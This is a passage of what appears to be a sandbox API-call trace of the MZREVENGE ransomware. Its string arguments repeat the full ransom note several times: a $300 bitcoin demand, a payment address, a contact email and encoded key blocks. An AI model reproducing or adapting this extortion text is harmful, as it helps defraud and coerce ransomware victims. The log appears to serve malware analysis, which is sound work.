}=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.780] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.780] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x24a2f48, cbMultiByte=5981, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRIVATE MZREVENGE KEY }============================\r\nMZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDs